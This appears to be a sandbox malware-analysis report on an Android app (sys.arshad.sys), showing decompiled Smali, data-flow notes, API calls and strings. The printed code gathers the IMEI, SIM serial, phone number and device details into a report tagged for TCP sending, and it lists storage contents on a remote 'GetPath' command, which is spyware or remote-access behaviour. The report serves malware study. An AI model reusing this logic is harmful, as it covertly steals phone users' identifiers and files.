55sget-object v4, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
57invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
58move-result-object v7
60invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
61move-result-object v8
63invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
64move-result-object v9
66sget-object v10, Landroid/os/Build;->MODEL:Ljava/lang/String;
68sget-object v11, Landroid/os/Build;->BOARD:Ljava/lang/String;
70sget-object v12, Landroid/os/Build;->BOOTLOADER:Ljava/lang/String;
72sget-object v13, Landroid/os/Build;->BRAND:Ljava/lang/String;
74sget-object v14, Landroid/os/Build;->DEVICE:Ljava/lang/String;
76sget-object v15, Landroid/os/Build;->DISPLAY:Ljava/lang/String;
78sget-object v16, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
80sget-object v17, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
82sget-object v18, Landroid/os/Build;->HOST:Ljava/lang/String;
84sget-object v19, Landroid/os/Build;->ID:Ljava/lang/String;
86sget-object v20, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
88sget-object v21, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
90sget-object v22, Landroid/os/Build;->SERIAL:Ljava/lang/String;
92sget-object v23, Landroid/os/Build;->TAGS:Ljava/lang/String;
94sget-object v24, Landroid/os/Build;->TYPE:Ljava/lang/String;
96const-string v25, "unknown"
98sget-object v26, Landroid/os/Build;->USER:Ljava/lang/String;
100sget-object v27, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
102sget-object v28, Landroid/os/Build;->CPU_ABI2:Ljava/lang/String;
104sget-object v29, Landroid/os/Build;->RADIO:Ljava/lang/String;
105sget-wide v30, Landroid/os/Build;->TIME:J
106move-object/from16 v0, p0
108iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
110iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
112const-string v32, "phone"
113move-object/from16 v0, v32
115invoke-virtual {v2, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
116move-result-object v2
117check-cast v2, Landroid/telephony/TelephonyManager;
119invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getNetworkCountryIso()Ljava/lang/String;
120move-result-object v32
122invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getSimCountryIso()Ljava/lang/String;
123move-result-object v2
124move-object/from16 v0, p0
126iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
127move-object/from16 v33, v0
129invoke-virtual/range {v33 .. v33}, Lsys/arshad/sys/MainActivity$b;->a()Ljava/lang/String;
130move-result-object v33
132invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
133move-result-object v34
135invoke-virtual/range {v34 .. v34}, Ljava/util/Locale;->getDisplayLanguage()Ljava/lang/String;
136move-result-object v34
137new-instance v35, Ljava/lang/StringBuilder;
139invoke-direct/range {v35 .. v35}, Ljava/lang/StringBuilder;-><init>()V
141const-string v36, "B3:::IMEI : "
143invoke-virtual/range {v35 .. v36}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B3:::IMEI :
144move-result-object v35
145move-object/from16 v0, v35
147invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
148move-result-object v8
150invoke-virtual {v8, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
151move-result-object v8
153const-string v35, "simID : "
154move-object/from16 v0, v35
156invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: simID :
157move-result-object v8
159invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
160move-result-object v7
162invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
163move-result-object v7
165const-string v8, "telNumber : "
167invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: telNumber :
168move-result-object v7
170invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
171move-result-object v7
173invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
174move-result-object v7
176const-string v8, "MODEL : "
178invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: MODEL :
179move-result-object v7
181invoke-virtual {v7, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
182move-result-object v7
184invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
185move-result-object v7
187const-string v8, "BOARD : "
189invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BOARD :
190move-result-object v7
192invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
193move-result-object v7
195invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
196move-result-object v7
198const-string v8, "BOOTLOADER : "
200invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BOOTLOADER :
201move-result-object v7
203invoke-virtual {v7, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
204move-result-object v7
206invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
207move-result-object v7
209const-string v8, "BRAND : "
211invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BRAND :
212move-result-object v7
214invoke-virtual {v7, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
215move-result-object v7
217invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
218move-result-object v7
220const-string v8, "DEVICE : "
222invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: DEVICE :
223move-result-object v7
225invoke-virtual {v7, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
226move-result-object v7
228invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
229move-result-object v7
231const-string v8, "DISPLAY : "
233invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: DISPLAY :
234move-result-object v7
236invoke-virtual {v7, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
237move-result-object v7
239invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
240move-result-object v7
242const-string v8, "FINGERPRINT : "
244invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: FINGERPRINT :
245move-result-object v7
246move-object/from16 v0, v16
248invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
249move-result-object v7
251invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
252move-result-object v7
254const-string v8, "HARDWARE : "
256invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: HARDWARE :
257move-result-object v7
258move-object/from16 v0, v17
260invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
261move-result-object v7
263invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
264move-result-object v7
266const-string v8, "HOST : "
268invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: HOST :
269move-result-object v7
270move-object/from16 v0, v18
272invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
273move-result-object v7
275invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
276move-result-object v7
278const-string v8, "ID : "
280invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ID :
281move-result-object v7
282move-object/from16 v0, v19
284invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
285move-result-object v7
287invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
288move-result-object v7
290const-string v8, "MANUFACTURER : "
292invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: MANUFACTURER :
293move-result-object v7
294move-object/from16 v0, v20
296invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
297move-result-object v7
299invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
300move-result-object v7
302const-string v8, "PRODUCT : "
304invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: PRODUCT :
305move-result-object v7
306move-object/from16 v0, v21
308invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
309move-result-object v7
311invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
312move-result-object v7
314const-string v8, "SERIAL : "
316invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SERIAL :
317move-result-object v7
318move-object/from16 v0, v22
320invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
321move-result-object v7
323invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
324move-result-object v7
326const-string v8, "TAGS : "
328invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TAGS :
329move-result-object v7
330move-object/from16 v0, v23
332invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
333move-result-object v7
335invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
336move-result-object v7
338const-string v8, "TYPE : "
340invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TYPE :
341move-result-object v7
342move-object/from16 v0, v24
344invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
345move-result-object v7
347invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
348move-result-object v7
350const-string v8, "UNKNOWN : "
352invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: UNKNOWN :
353move-result-object v7
354move-object/from16 v0, v25
356invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: unknown
357move-result-object v7
359invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
360move-result-object v7
362const-string v8, "USER : "
364invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: USER :
365move-result-object v7
366move-object/from16 v0, v26
368invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
369move-result-object v7
371invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
372move-result-object v7
374const-string v8, "CPU_ABI : "
376invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: CPU_ABI :
377move-result-object v7
378move-object/from16 v0, v27
380invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
381move-result-object v7
383invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
384move-result-object v7
386const-string v8, "CPU_ABI2 : "
388invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: CPU_ABI2 :
389move-result-object v7
390move-object/from16 v0, v28
392invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
393move-result-object v7
395invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
396move-result-object v7
398const-string v8, "RADIO : "
400invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: RADIO :
401move-result-object v7
402move-object/from16 v0, v29
404invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
405move-result-object v7
407invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
408move-result-object v7
410const-string v8, "TIME : "
412invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TIME :
413move-result-object v7
414move-wide/from16 v0, v30
416invoke-virtual {v7, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
417move-result-object v7
419invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
420move-result-object v7
422const-string v8, "NetworkCountryIso : "
424invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: NetworkCountryIso :
425move-result-object v7
426move-object/from16 v0, v32
428invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
429move-result-object v7
431invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
432move-result-object v7
434const-string v8, "SimCountryIso : "
436invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SimCountryIso :
437move-result-object v7
439invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
440move-result-object v2
442invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
443move-result-object v2
445const-string v7, "Language : "
447invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Language :
448move-result-object v2
449move-object/from16 v0, v34
451invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
452move-result-object v2
454invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
455move-result-object v2
457const-string v7, "Battery Level Remaining : "
459invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Battery Level Remaining :
460move-result-object v2
461move-object/from16 v0, v33
463invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
464move-result-object v2
466invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
467move-result-object v2
469const-string v7, "VERSION android : "
471invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: VERSION android :
472move-result-object v2
474invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
475move-result-object v2
477invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
478move-result-object v2
480const-string v4, "Total memory : "
482invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Total memory :
483move-result-object v2
485invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
486move-result-object v4
488invoke-virtual {v4}, Ljava/lang/Runtime;->totalMemory()J
489move-result-wide v8
491invoke-virtual {v2, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
492move-result-object v2
494invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
495move-result-object v2
497const-string v4, "Free memory : "
499invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Free memory :
500move-result-object v2
502invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
503move-result-object v4
505invoke-virtual {v4}, Ljava/lang/Runtime;->freeMemory()J
506move-result-wide v8
508invoke-virtual {v2, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
509move-result-object v2
511invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
512move-result-object v2
514const-string v4, "Max memory : "
516invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Max memory :
517move-result-object v2
519invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
520move-result-object v4
522invoke-virtual {v4}, Ljava/lang/Runtime;->maxMemory()J
523move-result-wide v8
525invoke-virtual {v2, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
526move-result-object v2
528invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
529move-result-object v2
531const-string v4, "USB : "
533invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: USB :
534move-result-object v2
535move-object/from16 v0, p0
537iget-object v4, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
539invoke-static {v4}, Lsys/arshad/sys/MainActivity$b;->a(Lsys/arshad/sys/MainActivity$b;)Z
540move-result v4
542invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
543move-result-object v2
545invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
546move-result-object v2
548invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
549move-result-object v2
551invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
552move-result-object v2
554invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
555move-result-object v2
557const-string v3, "[(0)tcp]"
559invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
560move-result-object v2
561move-object/from16 v0, p0
563iget-object v3, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
565iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
567iget-object v3, v3, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
569invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
570move-result-object v2
572invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
573move-result-object v2
574move-object/from16 v0, p0
576iget-object v3, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
578iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
580invoke-virtual {v3, v2}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
581return-void
582cond_2ec: move-object v3, v4
583goto/16 :goto_35
APIs
  • java.lang.StringBuffer.<init>
  • java.lang.String.trim
  • java.lang.String.indexOf
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getPath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.isDirectory
  • java.io.File.listFiles
  • java.io.File.getName
  • java.lang.String.toString
  • java.lang.String.indexOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.StringBuilder.<init>
  • java.lang.String.trim
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.split
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getPath
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • GetPath^&
  • /
  • .
  • Folder
  • +++++++
  • [(0)sp]
  • [(0)Ln]
  • \\.
  • removed
  • /sdcard
  • [(1)sp]
  • B8:::
  • [(0)tcp]
  • B8:::is not a directory[(0)tcp]
Position Instruction Meta Information
0const/4 v11, -0x1
1try_start_1:
2const-string v0, ""
3new-instance v3, Ljava/lang/StringBuffer;
5invoke-direct {v3}, Ljava/lang/StringBuffer;-><init>()V
7const-string v0, ""
9iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$28;->a:Ljava/lang/String;
11invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
12move-result-object v0
14const-string v1, "GetPath^&"
16invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: GetPath^&
17move-result v0
18if-eq v0, v11, :cond_c9
19new-instance v0, Ljava/lang/StringBuilder;
21invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
23invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
24move-result-object v1
26invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
27move-result-object v1
29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v0
32const-string v1, "/"
34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
35move-result-object v0
37invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v0
39move-object v2, v0
40goto_34: new-instance v0, Ljava/io/File;
42invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
44invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
45move-result v1
46if-eqz v1, :cond_2a0
48invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
49move-result-object v4
50array-length v0, v4
51if-eqz v0, :cond_f2
52const/4 v0, 0x0
53move v1, v0
54goto_48: array-length v0, v4
55if-ge v1, v0, :cond_f2
56aget-object v0, v4, v1
58invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
59move-result-object v5
61invoke-virtual {v5}, Ljava/lang/String;->toString()Ljava/lang/String;
62move-result-object v0
64const-string v6, ""
66const-string v6, "."
68invoke-virtual {v0, v6}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: .
69move-result v6
70if-ne v6, v11, :cond_e5
72const-string v0, "Folder"
